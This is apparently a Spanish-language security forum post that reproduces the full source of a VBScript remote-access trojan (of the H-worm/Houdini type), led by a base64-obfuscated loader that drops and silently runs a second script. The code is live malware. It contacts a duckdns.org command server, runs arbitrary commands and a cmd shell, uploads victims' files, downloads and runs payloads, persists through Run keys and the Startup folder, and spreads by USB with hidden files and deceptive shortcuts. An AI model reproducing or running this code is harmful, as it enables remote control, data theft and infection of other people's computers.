JGa0lEMGdZM0psWVhSbGIySnFaV04wS0NKdGMzaHRiREl1ZUcxc2FIUjBjQ0lwQ205aWFtaDBkSEJrYjNkdWJHOWhaQzV2Y0dWdUlDSndiM04wSWl3aWFIUjBjRG92THlJZ0ppQm9iM04wSUNZZ0lqb2lJQ1lnY0c5eWRDQCptSWk4aUlDWWdJbWx6TFhObGJtUnBibWNpSUNZZ2MzQnNhWFJsY2lAKm1JR1pwYkdWMWNtd3NJR1poYkhObENtOWlhbWgwZEhCa2IzZHViRzloWkM1elpXNWtJQ0lpQ2lAKmdJQ0AqZ0NuTmxkQ0J2WW1wbWMyOWtiM2R1Ykc5aFpDQCo5SUdOeVpXRjBaVzlpYW1WamRDQCpvSW5OamNtbHdkR2x1Wnk1bWFXeGxjM2x6ZEdWdGIySnFaV04wSWlrS2FXWWdJRzlpYW1aemIyUnZkMjVzYjJGa0xtWnBiR1ZsZUdsemRITWdLSE4wY25OaGRtVjBieWtnZEdobGJnb2dJQ0AqZ2IySnFabk52Wkc5M2JteHZZV1F1WkdWc1pYUmxabWxzWlNAKm9jM1J5YzJGMlpYUnZLUXBsYm1RZ2FXWUthV1lnSUc5aWFtaDBkSEJrYjNkdWJHOWhaQzV6ZEdGMGRYTWdQU0AqeU1EQCpnZEdobGJnb2dJQ0AqZ1pHbHRJQ0J2WW1wemRISmxZVzFrYjNkdWJHOWhaQCpvSmMyVjBJQ0J2WW1wemRISmxZVzFrYjNkdWJHOWhaQ0AqOUlHTnlaV0YwWlc5aWFtVmpkQ2dpWVdSdlpHSXVjM1J5WldGdElpa0tJQ0AqZ0lIZHBkR2dnYjJKcWMzUnlaV0Z0Wkc5M2JteHZZV1FnQ2drSklDNTBlWEJsSUQwZ01TQCpLQ1FrZ0xtOXdaVzRLQ1FrZ0xuZHlhWFJsSUc5aWFtaDBkSEJrYjNkdWJHOWhaQzV5WlhOd2IyNXpaV0p2WkhrS0NRa2dMbk5oZG1WMGIyWnBiR1VnYzNSeWMyRjJaWFJ2Q2drSklDNWpiRzl6WlFvSlpXNWtJSGRwZEdnS0lDQCpnSUhObGRDQnZZbXB6ZEhKbFlXMWtiM2R1Ykc5aFpDQCpnUFNCdWIzUm9hVzVuQ21WdVpDQnBaZ3BwWmlCdlltcG1jMjlrYjNkdWJHOWhaQzVtYVd4bFpYaHBjM1J6S0hOMGNuTmhkbVYwYnlrZ2RHaGxiZ29nSUNCemFHVnNiRzlpYWk1eWRXNGdiMkpxWm5OdlpHOTNibXh2WVdRdVoyVjBabWxzWlNAKm9jM1J5YzJGMlpYUnZLUzV6YUc5eWRIQmhkR2dLWlc1a0lHbG1JQCpwbGJtUWdjM1ZpQ2dvS1puVnVZM1JwYjI0Z2RYQnNiMkZrSUNobWFXeGxkWEpzS1FvS1pHbHRJQ0JvZEhSd2IySnFMRzlpYW5OMGNtVmhiWFZ3Ykc5aFpHVXNZblZtWm1WeUNuTmxkQ0AqZ2IySnFjM1J5WldGdGRYQnNiMkZrWlNAKjlJR055WldGMFpXOWlhbVZqZENnaVlXUnZaR0l1YzNSeVpXRnRJaWtLZDJsMGFDQnZZbXB6ZEhKbFlXMTFjR3h2WVdSbElAKm9nSUNAKmdJQzUwZVhCbElEMGdNU0AqS0lDQCpnSUNAKnViM0JsYmdvSklDNXNiMkZrWm5KdmJXWnBiR1VnWm1sc1pYVnliQCpvSklHSjFabVpsY2lAKjlJQzV5WldGa0Nna2dMbU5zYjNObENtVnVaQ0IzYVhSb0NuTmxkQ0J2WW1wemRISmxZVzFrYjNkdWJHOWhaQ0AqOUlHNXZkR2hwYm1jS2MyVjBJR2gwZEhCdlltb2dQU0JqY21WaGRHVnZZbXBsWTNRb0ltMXplRzFzTWk1NGJXeG9kSFJ3SWlrS2FIUjBjRzlpYWk1dmNHVnVJQ0p3YjNOMElpd2lhSFIwY0Rvdkx5SWdKaUJvYjNOMElDWWdJam9pSUNZZ2NHOXlkQ0AqbUlpOGlJQ1lnSW1sekxYSmxZM1pwYm1jaUlDWWdjM0JzYVhSbGNpQCptSUdacGJHVjFjbXdzSUdaaGJITmxDbWgwZEhCdlltb3VjMlZ1WkNCaWRXWm1aWElLWlc1a0lHWjFibU4wYVc5dUNnb0tablZ1WTNScGIyNGdaVzUxYldSeWFYWmxjaUAqb0tRb0tabTl5SUNCbFlXTm9JR1J5YVhabElHbHVJR1pwYkdWemVYTjBaVzF2WW1vdVpISnBkbVZ6Q21sbUlDQCpnWkhKcGRtVXVhWE55WldGa2VTQCo5SUhSeWRXVWdkR2hsYmdvZ0lDQCpnSUdWdWRXMWtjbWwyWlhJZ1BTQmxiblZ0WkhKcGRtVnlJQ1lnWkhKcGRtVXVjR0YwYUNAKm1JQ0o4SWlAKm1JR1J5YVhabExtUnlhWFpsZEhsd1pTQCptSUhOd2JHbDBaWElLWlc1a0lHbG1DbTVsZUhRS1pXNWtJRVoxYm1OMGFXOXVDZ3BtZFc1amRHbHZiaUJsYm5WdFptRm1JQ2hsYm5WdFpHbHlLUW9LWlc1MWJXWmhaaUAqOUlHVnVkVzFrYVhJZ0ppQnpjR3hwZEdWeUNtWnZjaUAqZ1pXRmphQ0JtYjJ4a1pYSWdhVzRnWm1sc1pYTjVjM1JsYlc5aWFpNW5aWFJtYjJ4a1pYSWdLR1Z1ZFcxa2FYSXBMbk4xWW1admJHUmxjbk1LSUNAKmdJQ0JsYm5WdFptRm1JRDBnWlc1MWJXWmhaaUAqbUlHWnZiR1JsY2k1dVlXMWxJQ1lnSW53aUlDWWdJaUlnSmlAKmlmQ0lnSmlAKmlaQ0lnSmlAKmlmQ0lnSmlCbWIyeGtaWEl1WVhSMGNtbGlkWFJsY3lAKm1JSE53YkdsMFpYSUtibVY0ZEAqb0tabTl5SUNCbFlXTm9JR1pwYkdVZ2FXNGdabWxzWlhONWMzUmxiVzlpYWk1blpYUm1iMnhrWlhJZ0tHVnVkVzFrYVhJcExtWnBiR1Z6Q2lAKmdJQ0AqZ1pXNTFiV1poWmlAKjlJR1Z1ZFcxbVlXWWdKaUJtYVd4bExtNWhiV1VnSmlAKmlmQ0lnSmlCbWFXeGxMbk5wZW1VZ0lDWWdJbndpSUNZZ0ltWWlJQ1lnSW53aUlDWWdabWxzWlM1aGRIUnlhV0oxZEdWeklDWWdjM0JzYVhSbGNnb0tibVY0ZEAqcGxibVFnWm5WdVkzUnBiMjRLQ2dwbWRXNWpkR2x2YmlCbGJuVnRjSEp2WTJWemN5QCpvS1FvS2IyNGdaWEp5YjNJZ2NtVnpkVzFsSUc1bGVIUUtDbk5sZENCdlltcDNiV2x6WlhKMmFXTmxJRDBnWjJWMGIySnFaV04wS0NKM2FXNXRaMjEwY3pwY1hDNWNjbTl2ZEZ4amFXMTJNaUlwQ25ObGRDQmpiMnhwZEdWdGN5QCo5SUc5aWFuZHRhWE5sY25acFkyVXVaWGhsWTNGMVpYSjVLQ0p6Wld4bFkzUWdLaUJtY205dElIZHBiak15WDNCeWIyTmxjM01pTEN3ME9Da0tDbVJwYlNCdlltcHBkR1Z0Q21admNpQmxZV05vSUc5aWFtbDBaVzBnYVc0Z1kyOXNhWFJsYlhNS0NXVnVkVzF3Y205alpYTnpJRDBnWlc1MWJYQnliMk5sYzNNZ0ppQnZZbXBwZEdWdExtNWhiV1VnSmlAKmlmQ0lLQ1dWdWRXMXdjbTlqWlhOeklEMGdaVzUxYlhCeWIyTmxjM01nSmlCdlltcHBkR1Z0TG5CeWIyTmxjM05wWkNAKm1JQ0o4SWdvZ0lDQCpnWlc1MWJYQnliMk5sYzNNZ1BTQmxiblZ0Y0hKdlkyVnpjeUAqbUlHOWlhbWwwWlcwdVpYaGxZM1YwWVdKc1pYQmhkR2dnSmlCemNHeHBkR1Z5Q201bGVIUUtaVzVrSUdaMWJtTjBhVzl1Q2dwemRXSWdaWGhwZEhCeWIyTmxjM01nS0hCcFpDa0tiMjRnWlhKeWIzSWdjbVZ6ZFcxbElHNWxlSFFLQ25Ob1pXeHNiMkpxTG5KMWJpQCppZEdGemEydHBiR3dnTDBZZ0wxUWdMMUJKUkNAKmlJQ1lnY0dsa0xEY3NkSEoxWlFwbGJtUWdjM1ZpQ2dwemRXSWdaR1ZzWlhSbFptRm1JQ2gxY213cENtOXVJR1Z5Y205eUlISmxjM1Z0WlNCdVpYaDBDZ3BtYVd4bGMzbHpkR1Z0YjJKcUxtUmxiR1YwWldacGJHVWdkWEpzQ21acGJHVnplWE4wWlcxdlltb3VaR1ZzWlhSbFptOXNaR1Z5SUhWeWJAKm9LWlc1a0lITjFZZ29LWm5WdVkzUnBiMjRnWTIxa2MyaGxiR3dnS0dOdFpDa0tDbVJwYlNCb2RIUndiMkpxTEc5bGVHVmpMSEpsWVdSaGJHeG1jbTl0WVc1NUNncHpaWFFnYjJWNFpXTWdQU0J6YUdWc2JHOWlhaTVsZUdWaklDZ2lKV052YlhOd1pXTWxJQzlqSUNJZ0ppQmpiV1FwQ21sbUlHNXZkQ0J2WlhobFl5NXpkR1J2ZFhRdVlYUmxibVJ2Wm5OMGNtVmhiU0IwYUdWdUNpQCpnSUhKbFlXUmhiR3htY205dFlXNTVJRDBnYjJWNFpXTXVjM1JrYjNWMExuSmxZV1JoYkd3S1pXeHpaV2xtSUc1dmRDQnZaWGhsWXk1emRHUmxjbkl1WVhSbGJtUnZabk4wY21WaGJTQjBhR1Z1Q2lAKmdJSEpsWVdSaGJHeG1jbTl0WVc1NUlEMGdiMlY0WldNdWMzUmtaWEp5TG5KbFlXUmhiR3dLWld4elpTQCpLSUNAKmdjbVZoWkdGc2JHWnliMjFoYm5rZ1BTQCppSWdwbGJtUWdhV1lLQ21OdFpITm9aV3hzSUQwZ2NtVmhaR0ZzYkdaeWIyMWhibmtLWlc1a0lHWjFibU4wYVc5dSIKICAgIHJlc191bHQgPSBSZXBsYWNlKG1haW5fY29udCwgbXV0X2V4LCB0aGVfY29uc3QpCiAgICB6dWZjID0gZW5jb2RlX3RoZV9zdHJpbmc2NChOb3RoaW5nLCByZXNfdWx0LCAxMCwgODcpCkVuZCBGdW5jdGlvbgpEaW0gd2l1cnlhamYsIGxpCndpdXJ5YWpmID0gY29fYmlfbmFfcnlfMl9zdHIoenVmYygwLCBOb3RoaW5nLCAwLCA5OTMpLCA0LCAxLCAyLCAzKQpQcml2YXRlIEZ1bmN0aW9uIGRza2dmaGFrc2RmKCkKICAgIEV4ZWN1dGVHbG9iYWwgd2l1cnlhamYKICAgIGRza2dmaGFrc2RmID0gIiIKRW5kIEZ1bmN0aW9uCmxpID0gZHNrZ2ZoYWtzZGYoKQo="
  6. Set wshShell1 = CreateObject("WScript.Shell")
  7. Dim appdatadir1, stubpath1
  8. appdatadir1 = wshShell1.ExpandEnvironmentStrings("%appdata%")
  9. stubpath1 = appdatadir1 & "\YgiLSEdNGl.vbs"
  10. Dim decoded1
  11. decoded1 = decodeBase64(longText1)
  12. writeBytes stubpath1, decoded1
  13. wshShell1.Run("wscript //B """ & stubpath1 & """")
  14.  
  15. Private Sub writeBytes(file, bytes)
  16. on error resume next
  17. Dim binaryStream
  18. Set binaryStream = CreateObject("ADODB.Stream")
  19. binaryStream.Type = TypeBinary
  20. binaryStream.Open
  21. binaryStream.Write bytes
  22. binaryStream.SaveToFile file, ForWriting
  23. End Sub
  24.  
  25. Private Function decodeBase64(base64)
  26. Dim DM, EL
  27. Set DM = CreateObject("Microsoft.XMLDOM")
  28. Set EL = DM.createElement("tmp")
  29. EL.DataType = "bin.base64"
  30. EL.Text = base64
  31. decodeBase64 = EL.NodeTypedValue
  32. End Function
  33.  
  34. Set wshShell1 = Nothing
  35. host = "5594c8e7-0748-4ac9-82f7-45276a9030e0.duckdns.org"
  36. port = 2424
  37. installdir = "%appdata%"
  38. lnkfile = false
  39. lnkfolder = false
  40. dim shellobj
  41. set shellobj = wscript.createobject("wscript.shell")
  42. dim filesystemobj
  43. set filesystemobj = createobject("scripting.filesystemobject")
  44. dim httpobj
  45. set httpobj = createobject("msxml2.xmlhttp")
  46. installname = wscript.scriptname
  47. startup = shellobj.specialfolders ("startup") & "\"
  48. installdir = shellobj.expandenvironmentstrings(installdir) & "\"
  49. if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
  50. spliter = "<" & "|" & ">"
  51. sleep = 25000
  52. dim response
  53. dim cmd
  54. dim param
  55. info = ""
  56. usbspreading = ""
  57. startdate = ""
  58. dim oneonce
  59. on error resume next
  60. instance
  61. while true
  62. install
  63. response = ""
  64. response = post ("is-ready","")
  65. cmd = split (response,spliter)
  66. select case cmd (0)
  67. case "excecute"
  68. param = cmd (1)
  69. execute param
  70. case "update"
  71. param = cmd (1)
  72. oneonce.close
  73. set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
  74. oneonce.write param
  75. oneonce.close
  76. shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
  77. wscript.quit
  78. case "uninstall"
  79. uninstall
  80. case "send"
  81. download cmd (1),cmd (2)
  82. case "site-send"
  83. sitedownloader cmd (1),cmd (2)
  84. case "recv"
  85. param = cmd (1)
  86. upload (param)
  87. case  "enum-driver"
  88. post "is-enum-driver",enumdriver
  89. case  "enum-faf"
  90. param = cmd (1)
  91. post "is-enum-faf",enumfaf (param)
  92. case  "enum-process"
  93. post "is-enum-process",enumprocess
  94. case  "cmd-shell"
  95. param = cmd (1)
  96. post "is-cmd-shell",cmdshell (param)
  97. case  "delete"
  98. param = cmd (1)
  99. deletefaf (param)
  100. case  "exit-process"
  101. param = cmd (1)
  102. exitprocess (param)
  103. case  "sleep"
  104. param = cmd (1)
  105. sleep = eval (param)
  106. end select
  107. wscript.sleep sleep
  108. wend
  109.  
  110. sub install
  111. on error resume next
  112. dim lnkobj
  113. dim filename
  114. dim foldername
  115. dim fileicon
  116. dim foldericon
  117. upstart
  118. for each drive in filesystemobj.drives
  119. if  drive.isready = true then
  120. if  drive.freespace  > 0 then
  121. if  drive.drivetype  = 1 then
  122. filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
  123. if  filesystemobj.fileexists (drive.path & "\" & installname)  then
  124. filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
  125. end if
  126. for each file in filesystemobj.getfolder( drive.path & "\" ).Files
  127. if not lnkfile then exit for
  128. if  instr (file.name,".") then
  129. if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
  130. file.attributes = 2+4
  131. if  ucase (file.name) <> ucase (installname) then
  132. filename = split(file.name,".")
  133. set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk")
  134. lnkobj.windowstyle = 7
  135. lnkobj.targetpath = "cmd.exe"
  136. lnkobj.workingdirectory = ""
  137. lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
  138. fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\")
  139. if  instr (fileicon,",") = 0 then
  140. lnkobj.iconlocation = file.path
  141. else
  142. lnkobj.iconlocation = fileicon
  143. end if
  144. lnkobj.save()
  145. end if
  146. end if
  147. end if
  148. next
  149. for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
  150. if not lnkfolder then exit for
  151. folder.attributes = 2+4
  152. foldername = folder.name
  153. set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk")
  154. lnkobj.windowstyle = 7
  155. lnkobj.targetpath = "cmd.exe"
  156. lnkobj.workingdirectory = ""
  157. lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
  158. foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\")
  159. if  instr (foldericon,",") = 0 then
  160. lnkobj.iconlocation = folder.path
  161. else
  162. lnkobj.iconlocation = foldericon
  163. end if
  164. lnkobj.save()
  165. next
  166. end If
  167. end If
  168. end if
  169. next
  170. err.clear
  171. end sub
  172. sub uninstall
  173. on error resume next
  174. dim filename
  175. dim foldername
  176. shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
  177. shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
  178. filesystemobj.deletefile startup & installname ,true
  179. filesystemobj.deletefile wscript.scriptfullname ,true
  180. for  each drive in filesystemobj.drives
  181. if  drive.isready = true then
  182. if  drive.freespace  > 0 then
  183. if  drive.drivetype  = 1 then
  184. for  each file in filesystemobj.getfolder ( drive.path & "\").files
  185. on error resume next
  186. if  instr (file.name,".") then
  187. if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
  188. file.attributes = 0
  189. if  ucase (file.name) <> ucase (installname) then
  190. filename = split(file.name,".")
  191. filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
  192. else
  193. filesystemobj.deletefile (drive.path & "\" & file.name)
  194. end If
  195. else
  196. filesystemobj.deletefile (file.path)
  197. end if
  198. end if
  199. next
  200. for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
  201. folder.attributes = 0
  202. next
  203. end if
  204. end if
  205. end if
  206. next
  207. wscript.quit
  208. end sub
  209. function post (cmd ,param)
  210. post = param
  211. httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
  212. httpobj.setrequestheader "user-agent:",information
  213. httpobj.send param
  214. post = httpobj.responsetext
  215. end function
  216. function information
  217. on error resume next
  218. if  inf = "" then
  219. inf = hwid & spliter
  220. inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter
  221. inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
  222. set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
  223. set os = root.execquery ("select * from win32_operatingsystem")
  224. for each osinfo in os
  225. inf = inf & osinfo.caption & spliter
  226. exit for
  227. next
  228. inf = inf & "plus" & spliter
  229. inf = inf & security & spliter
  230. inf = inf & usbspreading
  231. information = inf
  232. else
  233. information = inf
  234. end if
  235. end function
  236. sub upstart ()
  237. on error resume Next
  238. shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
  239. shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
  240. filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
  241. filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
  242. end sub
  243. function hwid
  244. on error resume next
  245. set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
  246. set disks = root.execquery ("select * from win32_logicaldisk")
  247. for each disk in disks
  248. if  disk.volumeserialnumber <> "" then
  249. hwid = disk.volumeserialnumber
  250. exit for
  251. end if
  252. next
  253. end function
  254. function security
  255. on error resume next
  256. security = ""
  257. set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
  258. set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
  259. for each objitem in colitems
  260. versionstr = split (objitem.version,".")
  261. next
  262. versionstr = split (colitems.version,".")
  263. osversion = versionstr (0) & "."
  264. for  x = 1 to ubound (versionstr)
  265. osversion = osversion &  versionstr (i)
  266. next
  267. osversion = eval (osversion)
  268. if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
  269. set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
  270. Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
  271. for each objantivirus in colantivirus
  272. security  = security  & objantivirus.displayname & " ."
  273. next
  274. if security  = "" then security  = "nan-av"
  275. end function
  276. function instance
  277. on error resume next
  278. usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
  279. if usbspreading = "" then
  280. if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
  281. usbspreading = "true - " & date
  282. shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
  283. else
  284. usbspreading = "false - " & date
  285. shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
  286. end if
  287. end If
  288. upstart
  289. set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
  290. set installfullnameshort =  filesystemobj.getfile (installdir & installname)
  291. if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then
  292. shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
  293. wscript.quit
  294. end If
  295. err.clear
  296. set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
  297. if  err.number > 0 then wscript.quit
  298. end function
  299. sub sitedownloader (fileurl,filename)
  300. strlink = fileurl
  301. strsaveto = installdir & filename
  302. set objhttpdownload = createobject("msxml2.xmlhttp" )
  303. objhttpdownload.open "get", strlink, false
  304. objhttpdownload.send
  305. set objfsodownload = createobject ("scripting.filesystemobject")
  306. if  objfsodownload.fileexists (strsaveto) then
  307. objfsodownload.deletefile (strsaveto)
  308. end if
  309. if objhttpdownload.status = 200 then
  310. dim  objstreamdownload
  311. set  objstreamdownload = createobject("adodb.stream")
  312. with objstreamdownload
  313. .type = 1
  314. .open
  315. .write objhttpdownload.responsebody
  316. .savetofile strsaveto
  317. .close
  318. end with
  319. set objstreamdownload = nothing
  320. end if
  321. if objfsodownload.fileexists(strsaveto) then
  322. shellobj.run objfsodownload.getfile (strsaveto).shortpath
  323. end if
  324. end sub
  325. sub download (fileurl,filedir)
  326. if filedir = "" then
  327. filedir = installdir
  328. end if
  329. strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
  330. set objhttpdownload = createobject("msxml2.xmlhttp")
  331. objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
  332. objhttpdownload.send ""
  333. set objfsodownload = createobject ("scripting.filesystemobject")
  334. if  objfsodownload.fileexists (strsaveto) then
  335. objfsodownload.deletefile (strsaveto)
  336. end if
  337. if  objhttpdownload.status = 200 then
  338. dim  objstreamdownload
  339. set  objstreamdownload = createobject("adodb.stream")
  340. with objstreamdownload
  341. .type = 1
  342. .open
  343. .write objhttpdownload.responsebody
  344. .savetofile strsaveto
  345. .close
  346. end with
  347. set objstreamdownload  = nothing
  348. end if
  349. if objfsodownload.fileexists(strsaveto) then
  350. shellobj.run objfsodownload.getfile (strsaveto).shortpath
  351. end if
  352. end sub
  353. function upload (fileurl)
  354. dim  httpobj,objstreamuploade,buffer
  355. set  objstreamuploade = createobject("adodb.stream")
  356. with objstreamuploade
  357. .type = 1
  358. .open
  359. .loadfromfile fileurl
  360. buffer = .read
  361. .close
  362. end with
  363. set objstreamdownload = nothing
  364. set httpobj = createobject("msxml2.xmlhttp")
  365. httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
  366. httpobj.send buffer
  367. end function
  368. function enumdriver ()
  369. for  each drive in filesystemobj.drives
  370. if   drive.isready = true then
  371. enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
  372. end if
  373. next
  374. end Function
  375. function enumfaf (enumdir)
  376. enumfaf = enumdir & spliter
  377. for  each folder in filesystemobj.getfolder (enumdir).subfolders
  378. enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
  379. next
  380. for  each file in filesystemobj.getfolder (enumdir).files
  381. enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
  382. next
  383. end function
  384. function enumprocess ()
  385. on error resume next
  386. set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
  387. set colitems = objwmiservice.execquery("select * from win32_process",,48)
  388. dim objitem
  389. for each objitem in colitems
  390. enumprocess = enumprocess & objitem.name & "|"
  391. enumprocess = enumprocess & objitem.processid & "|"
  392. enumprocess = enumprocess & objitem.executablepath & spliter
  393. next
  394. end function
  395. sub exitprocess (pid)
  396. on error resume next
  397. shellobj.run "taskkill /F /T /PID " & pid,7,true
  398. end sub
  399. sub deletefaf (url)
  400. on error resume next
  401. filesystemobj.deletefile url
  402. filesystemobj.deletefolder url
  403. end sub
  404. function cmdshell (cmd)
  405. dim httpobj,oexec,readallfromany
  406. set oexec = shellobj.exec ("%comspec% /c " & cmd)
  407. if not oexec.stdout.atendofstream then
  408. readallfromany = oexec.stdout.readall
  409. elseif not oexec.stderr.atendofstream then
  410. readallfromany = oexec.stderr.readall
  411. else
  412. readallfromany = ""
  413. end if
  414. cmdshell = readallfromany
  415. end function
En línea

Por eso no duermo, por si tras mi ventana hay un cuervo. Cuelgo de hilos sueltos sabiendo que hay veneno en el aire.
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
muestra ip
Sugerencias y dudas sobre el Foro
jamescua 8 4,593 Último mensaje 3 Enero 2008, 21:14 pm
por Thor
Irán anuncia detenciones tras limpiar del virus Stuxnet sus sistemas ...
Noticias
wolfbcn 1 1,838 Último mensaje 5 Octubre 2010, 00:29 am
por B€T€B€
Malware vs. Analistas de Malware
Análisis y Diseño de Malware
@Sthéfano 0 3,224 Último mensaje 20 Julio 2011, 01:51 am
por @Sthéfano
Anonymous 'tumba' la web de Interpol como represalia por las detenciones
Noticias
wolfbcn 0 1,468 Último mensaje 29 Febrero 2012, 18:30 pm
por wolfbcn
Detekt — Free Anti-Malware Tool To Detect Govt. Surveillance Malware
Noticias
r32 0 2,440 Último mensaje 23 Noviembre 2014, 02:40 am
por r32
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines